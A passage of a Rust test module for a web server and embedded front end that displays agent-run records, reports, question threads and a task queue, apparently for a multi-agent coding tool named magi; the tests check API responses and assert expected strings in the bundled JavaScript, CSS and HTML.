12075 serde_json::to_string_pretty(&state).expect("serialize run"),
12076 )
12077 .expect("write run.json");
12078
12079 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12080 assert_eq!(detail["live"], "dead", "{detail}");
12081 }
12082
12083 #[test]
12087 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12088 let mk = |id: &str, pid: Option<u32>| {
12089 let mut s = RunState::new(
12090 PathBuf::from("/repo/magi"),
12091 "main".to_owned(),
12092 "0123456789abcdef".to_owned(),
12093 "Add a web UI".to_owned(),
12094 Config::default(),
12095 );
12096 s.id = id.to_owned();
12097 s.driver_pid = pid;
12098 s.driver_started_at = Some("1790000000".to_owned());
12099 s
12100 };
12101 let states = vec![
12102 mk("20260902-140502-aaaa", Some(77)),
12103 mk("20260902-140502-bbbb", Some(77)),
12104 mk("20260902-140502-cccc", Some(77)),
12105 mk("20260902-140502-dddd", None),
12106 ];
12107 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12108 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12109 let sup: HashMap<String, String> = [(
12110 "20260902-140502-aaaa".to_owned(),
12111 "20260902-140502-cccc".to_owned(),
12112 )]
12113 .into();
12114
12115 let status_calls = std::cell::Cell::new(0);
12116 let identity_calls = std::cell::Cell::new(0);
12117 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12118 |_| {
12119 status_calls.set(status_calls.get() + 1);
12120 Some(true)
12121 },
12122 |_| {
12123 identity_calls.set(identity_calls.get() + 1);
12124 Some("1790000000".to_owned())
12125 },
12126 ));
12127 let rows = summarize(
12128 states,
12129 &open,
12130 &claimed,
12131 &sup,
12132 |p| probe.borrow_mut().status(p),
12133 |p| probe.borrow_mut().started_at(p),
12134 );
12135
12136 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12137 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12138 assert_eq!(rows.len(), 4);
12139 assert!(!rows[0].waiting && rows[1].waiting);
12140 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12141 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12142 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12143 assert_eq!(rows[1].superseded_by, None);
12144 }
12145
12146 #[test]
12147 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12148 let mut state = RunState::new(
12149 PathBuf::from("/repo/magi"),
12150 "main".to_owned(),
12151 "0123456789abcdef".to_owned(),
12152 "Review only".to_owned(),
12153 Config::default(),
12154 );
12155 state.id = "20260922-090200-dead".to_owned();
12156 state.status = RunStatus::Reviewing;
12157 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12158 .expect("serialize list row");
12159 assert_eq!(row["status"], "reviewing");
12160 assert_eq!(row["live"], "dead", "{row}");
12161 assert!(!row["done"].as_bool().unwrap());
12162 }
12163
12164 #[tokio::test]
12165 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12166 let f = Fixture::start().await;
12167 for id in [
12168 "20260902-140501-aaaa",
12169 "20260902-140502-bbbb",
12170 "20260902-140503-cccc",
12171 ] {
12172 write_run(&f.runs(), id, RunStatus::Merged);
12173 }
12174
12175 let all = f.get("/api/runs").await.json();
12176 let capped = f.get("/api/runs?limit=2").await.json();
12177
12178 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12179 assert_eq!(all.as_array().map(Vec::len), Some(3));
12180 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12181 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12182 }
12183
12184 #[tokio::test]
12185 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12186 let f = Fixture::start().await;
12187 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12188
12189 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12190
12191 assert_eq!(res.status, 200);
12192 assert!(
12193 res.headers
12194 .contains("content-type: text/plain; charset=utf-8"),
12195 "a browser must render it, not download it: {}",
12196 res.headers
12197 );
12198 assert!(
12202 res.body.contains("20260902-140501-a1b2"),
12203 "the report is about the run that was asked for: {}",
12204 res.body
12205 );
12206 }
12207
12208 #[tokio::test]
12209 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12210 crate::run::pin_test_home();
12212 let f = Fixture::start().await;
12213 let id = "20260902-140501-a1b2";
12214 write_run(&f.runs(), id, RunStatus::Stalled);
12215 let path = f.runs().join(id).join("run.json");
12218 let mut v: serde_json::Value =
12219 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12220 v["tally"] = serde_json::json!({
12221 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12222 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12223 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12224 "met_quorum": false, "rankings": 1
12225 });
12226 v["reviews"] = serde_json::json!([{
12227 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12228 "e2e_deferred": true,
12229 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12230 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12231 ]}]
12232 }]);
12233 std::fs::write(&path, v.to_string()).unwrap();
12234 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12235 std::fs::write(
12236 f.runs().join("20260902-140502-dead").join("run.json"),
12237 "{not json",
12238 )
12239 .unwrap();
12240
12241 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12242
12243 assert_eq!(res.status, 200, "{}", res.body);
12244 assert!(res.headers.contains("content-type: application/json"));
12245 let j = res.json();
12246 assert_eq!(j["schema"], 1);
12247 assert_eq!(j["header"]["id"], id);
12248 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12249 let kinds: Vec<&str> = j["sections"]
12250 .as_array()
12251 .unwrap()
12252 .iter()
12253 .map(|s| s["kind"].as_str().unwrap())
12254 .collect();
12255 assert_eq!(kinds, ["candidates", "tally", "review"]);
12256 let tally = &j["sections"][1]["tally"];
12257 assert_eq!(
12258 (tally["decided"].clone(), tally["provisional"].clone()),
12259 (false.into(), true.into())
12260 );
12261 let round = &j["sections"][2]["rounds"][0];
12262 assert_eq!(round["e2e"]["state"], "deferred");
12263 assert_eq!(round["findings"][0]["severity"], "major");
12264 assert_eq!(round["findings"][0]["blocking"], true);
12265 assert_eq!(round["findings"][0]["state"], "open");
12266
12267 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12269
12270 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12272 assert_ne!(bad.status, 200, "{}", bad.body);
12273 assert_eq!(
12274 bad.status,
12275 f.get("/api/runs/20260902-140502-dead/report").await.status
12276 );
12277 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12278 assert_eq!(
12279 f.get("/api/runs/20260902-999999-ffff/report.json")
12280 .await
12281 .status,
12282 404
12283 );
12284 }
12285
12286 #[tokio::test]
12287 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12288 let f = Fixture::start().await;
12289
12290 let html = f.get("/").await;
12291 let css = f.get("/app.css").await;
12292 let js = f.get("/app.js").await;
12293
12294 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12295 assert!(
12296 html.headers
12297 .contains("content-type: text/html; charset=utf-8")
12298 );
12299 assert!(css.headers.contains("content-type: text/css"));
12300 assert!(js.headers.contains("content-type: text/javascript"));
12301 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12302 }
12303
12304 #[test]
12305 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12306 let body = |name: &str| {
12307 let at = APP_JS
12308 .find(name)
12309 .unwrap_or_else(|| panic!("{name} missing"));
12310 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12311 };
12312 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12313 let note = body("function landRoundNote");
12314 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12315 assert!(note.contains("Land round ${round}"));
12316 let land = body("function renderLand");
12317 let note_at = land
12318 .find("landRoundNote(pr)")
12319 .expect("renderLand uses the note");
12320 assert!(
12321 note_at
12322 < land
12323 .find("roundRail(pr)")
12324 .expect("renderLand uses the rail")
12325 );
12326 }
12327
12328 #[test]
12329 fn the_runs_page_redesign_keeps_its_guards() {
12330 let body = |name: &str| {
12331 let at = APP_JS
12332 .find(name)
12333 .unwrap_or_else(|| panic!("{name} missing"));
12334 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12335 };
12336 let land = body("function renderLand");
12338 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12339 assert!(
12340 !land.contains("box.append("),
12341 "renderLand must use append()"
12342 );
12343 assert!(land.contains("append(box, ["));
12344 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12346 assert!(
12347 body("function applyRoute")
12348 .contains("route.name !== state.route.name || route.id !== state.route.id")
12349 );
12350 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12352 assert!(!INDEX_HTML.contains("advise-converge"));
12353 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12354 assert!(APP_JS.contains("provisional"));
12355 for id in [
12356 "run-tab-overview",
12357 "run-tab-timeline",
12358 "run-tab-report",
12359 "run-report",
12360 "runs-scope",
12361 ] {
12362 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12363 }
12364 assert!(!INDEX_HTML.contains("runs-tree"));
12365 assert!(!INDEX_HTML.contains("run-raw-panel"));
12366 assert!(APP_JS.contains("resume"));
12368 assert!(APP_JS.contains("unreadable"));
12370 }
12371
12372 #[test]
12373 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12374 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12375 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12376 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12377 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12378 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12379 assert!(APP_JS.contains("unreadable` : null"));
12381 }
12382
12383 #[test]
12384 fn the_run_detail_payload_says_whether_the_run_is_done() {
12385 for (status, done) in [
12387 (RunStatus::Superseded, true),
12388 (RunStatus::Blocked, true),
12389 (RunStatus::Landing, false),
12390 ] {
12391 let mut state = RunState::new(
12392 std::path::PathBuf::from("/repo"),
12393 "main".to_owned(),
12394 "abc".to_owned(),
12395 "x".to_owned(),
12396 crate::config::Config::default(),
12397 );
12398 state.status = status;
12399 let v = serde_json::to_value(RunDetailView::of(
12400 state,
12401 crate::run::Liveness::Unknown,
12402 None,
12403 None,
12404 None,
12405 ))
12406 .unwrap();
12407 assert_eq!(v["done"], done, "{status:?}");
12408 }
12409 }
12410
12411 fn has_strong(nodes: &[md::Node]) -> bool {
12413 serde_json::to_string(nodes).unwrap().contains("strong")
12414 }
12415
12416 #[test]
12417 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12418 let mut state = RunState::new(
12419 std::path::PathBuf::from("/repo"),
12420 "main".to_owned(),
12421 "abc".to_owned(),
12422 "x".to_owned(),
12423 crate::config::Config::default(),
12424 );
12425 let proposal = |approach: &str| {
12426 serde_json::json!({
12427 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12428 })
12429 };
12430 state.advice = Some(
12431 serde_json::from_value(serde_json::json!({
12432 "records": [
12433 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12434 "proposal": proposal("do **this**")},
12435 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12436 ],
12437 "synthesis": "- one\n- **two**\n\n`code`",
12438 }))
12439 .unwrap(),
12440 );
12441 state.candidates = serde_json::from_value(serde_json::json!([
12442 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12443 "summary": "did **it**"},
12444 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12445 ]))
12446 .unwrap();
12447 state.reviews = serde_json::from_value(serde_json::json!([{
12450 "round": 1, "head": "h",
12451 "reviews": [{
12452 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12453 "findings": [
12454 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12455 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12456 ],
12457 }],
12458 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12459 "fix": {"agent": "a", "notes": "fixed **it**",
12460 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12461 }, {"round": 2, "head": "h2", "reviews": []}]))
12462 .unwrap();
12463
12464 let v = serde_json::to_value(RunDetailView::of(
12465 state,
12466 crate::run::Liveness::Unknown,
12467 None,
12468 None,
12469 None,
12470 ))
12471 .unwrap();
12472
12473 let strong = |p: &str| {
12474 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12475 assert!(n.to_string().contains("strong"), "{p}: {n}");
12476 };
12477 strong("/advice_md/synthesis");
12478 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12479 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12480 strong("/advice_md/approaches/0");
12481 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12482 strong("/candidate_summaries_md/0");
12483 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12484 strong("/reviews_md/0/reviewers/0/summary");
12485 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12486 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12487 assert!(f[1].to_string().contains("strong"));
12488 strong("/reviews_md/0/reconsideration/0");
12489 strong("/reviews_md/0/fix/notes");
12490 strong("/reviews_md/0/fix/rejected/0");
12491 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12492 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12493 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12495 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12496 }
12497
12498 #[test]
12499 fn a_run_without_advice_has_no_advice_md() {
12500 let state = RunState::new(
12501 std::path::PathBuf::from("/repo"),
12502 "main".to_owned(),
12503 "abc".to_owned(),
12504 "x".to_owned(),
12505 crate::config::Config::default(),
12506 );
12507 let p = run_prose_md(&state);
12508 assert!(p.advice_md.is_none());
12509 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12510 }
12511
12512 #[test]
12513 fn a_question_view_carries_markdown_for_each_thread_turn() {
12514 let home = TempDir::new().unwrap();
12515 let store = ask::Questions::at(home.path().join("questions"));
12516 let mut q = Question::new(
12517 "run".to_owned(),
12518 "implement".to_owned(),
12519 "impl-A".to_owned(),
12520 "which?".to_owned(),
12521 String::new(),
12522 Vec::new(),
12523 );
12524 q.say("plain words").unwrap();
12525 q.reply("use **this**", Vec::new()).unwrap();
12526 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12527 let bodies = &v["thread_bodies_md"];
12528 assert_eq!(bodies.as_array().unwrap().len(), 2);
12529 assert!(!bodies[0].to_string().contains("strong"));
12530 assert!(bodies[1].to_string().contains("strong"));
12531 }
12532
12533 #[test]
12534 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12535 let home = TempDir::new().unwrap();
12536 let store = ask::Questions::at(home.path().join("questions"));
12537 let mut q = Question::new(
12538 "run".to_owned(),
12539 "conduct".to_owned(),
12540 "conduct".to_owned(),
12541 "which?".to_owned(),
12542 String::new(),
12543 Vec::new(),
12544 );
12545 q.say("plain words").unwrap();
12546 q.thread.push(ask::Turn {
12547 who: ask::Who::Agent,
12548 body: "Settled as `merge`".to_owned(),
12549 at: jiff::Timestamp::now(),
12550 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12551 });
12552 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12553 let notes = &v["thread_notes_md"];
12554 assert_eq!(notes.as_array().unwrap().len(), 2);
12555 assert!(notes[0].is_null());
12556 let text = notes[1].to_string();
12557 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12558 assert!(APP_JS.contains("ask-turn-note"));
12559 }
12560
12561 #[test]
12562 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12563 assert!(APP_JS.contains("function landView(run, raw) {"));
12567 assert!(
12568 APP_JS.contains(
12569 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12570 )
12571 );
12572 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12573 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12574 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12575 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12576 }
12577
12578 #[test]
12579 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12580 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12581 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12582 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12583 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12584 }
12585
12586 #[test]
12587 fn review_rounds_label_a_distinct_verified_head() {
12588 assert!(APP_JS.contains("round.verified_head"));
12589 assert!(APP_JS.contains("verified HEAD"));
12590 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12591 }
12592
12593 #[test]
12594 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12595 assert!(APP_JS.contains("blocked: { glyph:"));
12599 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12600
12601 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12605 assert!(
12606 APP_JS.contains(
12607 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12608 ),
12609 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12610 );
12611 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12615
12616 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12620 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12621 assert!(
12622 APP_JS.contains("location.hash = \"#/questions\";"),
12623 "a question node must jump to the Questions screen, not pretend to be a task"
12624 );
12625
12626 assert!(APP_JS.contains("Resolved questions"));
12629 assert!(APP_JS.contains("r.answersList.append("));
12630 assert!(APP_CSS.contains(".task-answers"));
12631 {
12632 let start = APP_JS
12633 .find("function updateTalkTaskRow")
12634 .expect("updateTalkTaskRow");
12635 let body = &APP_JS[start..];
12636 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12637 assert!(
12638 body.contains(
12639 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12640 ),
12641 "a chat-filed task row must link to the task page"
12642 );
12643 assert!(
12644 !body.contains("#/runs/") && !body.contains("#/queue/"),
12645 "the row must not branch to a run or the queue card"
12646 );
12647 assert!(APP_CSS.contains(".talk-task-link"));
12648 }
12649 }
12650
12651 #[test]
12652 fn a_task_notification_links_to_the_task_page() {
12653 let start = APP_JS
12655 .find("function noticeLink(")
12656 .expect("noticeLink exists");
12657 let body = &APP_JS[start..];
12658 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12659 assert!(
12660 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12661 "a task notice's link must target the task page"
12662 );
12663 assert!(
12664 !body.contains("#/queue/"),
12665 "regression: the task link must not go back to the Backlog route"
12666 );
12667 assert!(
12668 APP_JS.contains(
12669 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12670 ),
12671 "`#/tasks/<id>` must parse into the task route"
12672 );
12673
12674 assert!(
12676 APP_JS.contains(
12677 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12678 ),
12679 "`#/queue/<id>` must parse into a route carrying that id"
12680 );
12681
12682 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12686 assert!(APP_JS.contains("function consumeQueueFocus()"));
12687 assert!(APP_JS.contains("jumpToTask(id)"));
12688 }
12689
12690 #[test]
12693 fn chat_rows_put_the_title_alone_on_the_first_line() {
12694 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12695 assert!(APP_CSS.contains(
12696 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12697 ));
12698 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12699 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12700 }
12701
12702 #[test]
12703 fn run_rows_put_the_title_alone_on_the_first_line() {
12704 assert!(
12705 APP_CSS.contains(
12706 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12707 )
12708 );
12709 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12710 assert!(APP_JS.contains("class: \"card run-card\""));
12711 assert!(APP_JS.contains("class: \"repo run-id\""));
12712 }
12713
12714 #[test]
12718 fn wide_screens_show_list_and_preview_side_by_side() {
12719 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12721 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12722 assert!(APP_CSS.contains("main[data-split]"));
12723 assert!(APP_CSS.contains("body[data-split]"));
12724
12725 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12727 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12728 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12729 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12730 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12731
12732 assert!(APP_JS.contains("function markSelected() {"));
12734 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12735 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12736 assert!(
12738 APP_CSS.contains(
12739 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12740 )
12741 );
12742
12743 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12745 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12746 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12747 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12748
12749 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12753 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12754 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12755 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12756
12757 assert!(APP_JS.contains("sandbox: \"\""));
12759 assert!(!APP_JS.contains("sandbox: \"allow"));
12760 }
12761
12762 #[test]
12763 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12764 assert!(
12773 APP_JS.contains(
12774 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12775 ),
12776 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12777 recursive renderQueue() call has nothing left to jump to"
12778 );
12779 assert!(
12780 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12781 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12782 arrives later still gets it"
12783 );
12784 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12785 assert!(APP_JS.contains("is not in the current Backlog."));
12786 assert!(APP_JS.contains("li.card[data-task-id=\""));
12787 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12788 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12789 assert!(APP_CSS.contains(".card-permalink"));
12790 assert!(APP_CSS.contains(".queue-focus-status"));
12791 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12792 }
12793
12794 #[test]
12795 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12796 assert!(
12804 APP_JS.contains(
12805 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12806 ),
12807 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12808 );
12809 }
12810
12811 #[test]
12812 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12813 assert!(
12814 APP_JS.contains("round.verified_head !== round.head"),
12815 "a round that verified an earlier commit must be visibly distinct from one that \
12816 verified the head reviewers are looking at now"
12817 );
12818 assert!(
12819 APP_JS.contains("round.verified_at"),
12820 "when a check ran must be on the wire, not just which commit"
12821 );
12822 assert!(
12823 APP_JS.contains("resource_blocked"),
12824 "a command magi never got to run (shared build cache contention) must not render \
12825 the same as a command that ran and failed"
12826 );
12827 }
12828
12829 #[test]
12830 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12831 assert!(
12839 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12840 "every KPI tile built through statusTile() must route its click through \
12841 openRunsFiltered, the single place that sets the Runs filter"
12842 );
12843 for (label, status) in [
12844 ("Merged", "merged"),
12845 ("Ready", "ready"),
12846 ("Blocked", "blocked"),
12847 ("Stalled", "stalled"),
12848 ] {
12849 let call = format!("statusTile(\"{label}\", t.{status}, ");
12850 assert!(
12851 APP_JS.contains(&call),
12852 "expected the {label} KPI tile built via {call}..."
12853 );
12854 assert!(
12855 APP_JS.contains(&format!("status === \"{status}\"")),
12856 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12857 compare a run against, not one invented only for the stats tile"
12858 );
12859 }
12860 assert!(
12861 APP_JS.contains("function openRunsFiltered(status)"),
12862 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12863 );
12864 assert!(
12865 APP_JS.contains(
12866 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12867 ),
12868 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12869 );
12870 assert!(
12878 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12879 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12880 hashchange event that may never fire"
12881 );
12882 }
12883
12884 #[test]
12885 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12886 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12892 assert!(
12893 APP_JS.contains(
12894 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12895 ),
12896 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12897 guard for an incompatible tree section"
12898 );
12899 }
12900
12901 #[test]
12902 fn every_stats_queue_tile_names_a_real_queue_section() {
12903 assert!(
12909 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12910 "every queue tile built through sectionTile() must route its click through \
12911 openQueueSectionFocus"
12912 );
12913 for key in ["upnext", "running", "done", "held", "blocked"] {
12914 assert!(
12915 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12916 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12917 );
12918 }
12919 for line in [
12923 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12924 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12925 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12926 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12927 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12928 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12929 ] {
12930 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12931 }
12932 }
12933
12934 #[test]
12935 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12936 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12943 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12944 assert!(APP_JS.contains("function revealQueueSection(details)"));
12945 assert!(
12946 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12947 "renderQueue() must consume both focus channels on every pass"
12948 );
12949 assert!(
12950 APP_JS.contains(
12951 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12952 ),
12953 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12954 the recursive renderQueue() call has nothing left to reveal"
12955 );
12956 assert!(
12957 APP_JS.contains(
12958 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12959 ),
12960 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12961 );
12962 assert!(
12970 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12971 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12972 hashchange event that may never fire"
12973 );
12974 }
12975
12976 #[tokio::test]
12977 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12978 let f = Fixture::start().await;
12979
12980 let mut socket = tokio::net::TcpStream::connect(f.addr)
12981 .await
12982 .expect("connect");
12983 socket
12984 .write_all(
12985 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12986 )
12987 .await
12988 .expect("write request");
12989
12990 let mut seen = String::new();
12993 let mut buf = [0u8; 1024];
